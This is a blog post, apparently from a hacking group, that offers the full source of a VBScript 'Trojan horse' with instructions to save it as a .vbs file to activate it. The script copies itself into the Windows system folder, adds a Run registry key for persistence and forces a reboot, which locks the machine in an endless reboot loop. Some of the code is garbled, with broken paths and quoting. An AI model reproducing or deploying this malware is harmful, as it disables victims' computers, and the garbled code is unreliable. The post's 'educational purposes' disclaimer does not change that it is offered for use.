Latest News

73cyf's Trojan horse virus


Trojan script by team 73cyf-scriptwriters[zeromaker]

note the following copy all the source into notepad save as. vbs (if you want to activate)

if not let it remain in the file exstensi.txt

exampels: ippamd0_trojanHorse.VBS



Copy all the source below:
----- codes are italicized

brakes - dlRB "DL Reboot" Trojan script by 73cyf.



On Error Resume Next

FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData



set FSobj = CreateObject ("Scripting.FileSystemObject")

set sysDir = FSobj.GetSpecialFolder (1)



createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB", sysDir & "\ dlRB.vbs"



sub createRegKey (regkey, regVal)

set regedit = CreateObject ("WScript.Shell")

regEdit.RegWrite regkey, regVal

end sub



set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs")

generateCopy.close



set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)

setFile ()

fixedCode = replace (fileData, chr (94), "" "")



set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2)

procreateCopy.write fixedCode

procreateCopy.close



rebootSystem ()



setFile function ()

fileData = "rem - ^ ^ by D.L. dlRB" & vbCrLf & _

"strComputer = ^. ^" & vbCrLf & _

"Set objWMIService = GetObject (winmgmts ^: ^ _" & vbCrLf & _

"& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)" & vbCrLf & _

"Set colOperatingSystems = objWMIService.ExecQuery _ '& vbCrLf & _

"(Select * from Win32_OperatingSystem ^ ^)" & vbCrLf & _

"For Each objOperatingSystem in colOperatingSystems" & vbCrLf & _

"ObjOperatingSystem.Reboot ()" & vbCrLf & _

"Next"

end function



rebootSystem function ()

strComputer = "."



Set objWMIService = GetObject ("winmgmts:" _

& "{ImpersonationLevel = impersonate, (Shutdown)}! \ \" & StrComputer & "\ root \ cimv2")



Set colOperatingSystems = objWMIService.ExecQuery _

("Select * from Win32_OperatingSystem")



For Each objOperatingSystem in colOperatingSystems

ObjOperatingSystem.Reboot ()

Next

end function




yes ... do not forget saved.,
J

e 29.01.2014

---------------------------------------------------------knox d3cryptor/Team 73cyf

1 comment:

  1. I have been using Kaspersky security for a number of years now, I'd recommend this product to everybody.

    ReplyDelete

Contact Us

24x7 online , we happy to answer you
tamilcypc@gmail.com , ,manoj960000@gmial.com.
skype: greeenchip

Disclaimer

This Blog and its TUT's are intended for educational purposes only, no-one involved in the creation of this TuT may be held responsible for any illegal acts brought about by this Blog or TuT.



Featured Post

Custom Domains And HTTPS Redirection Code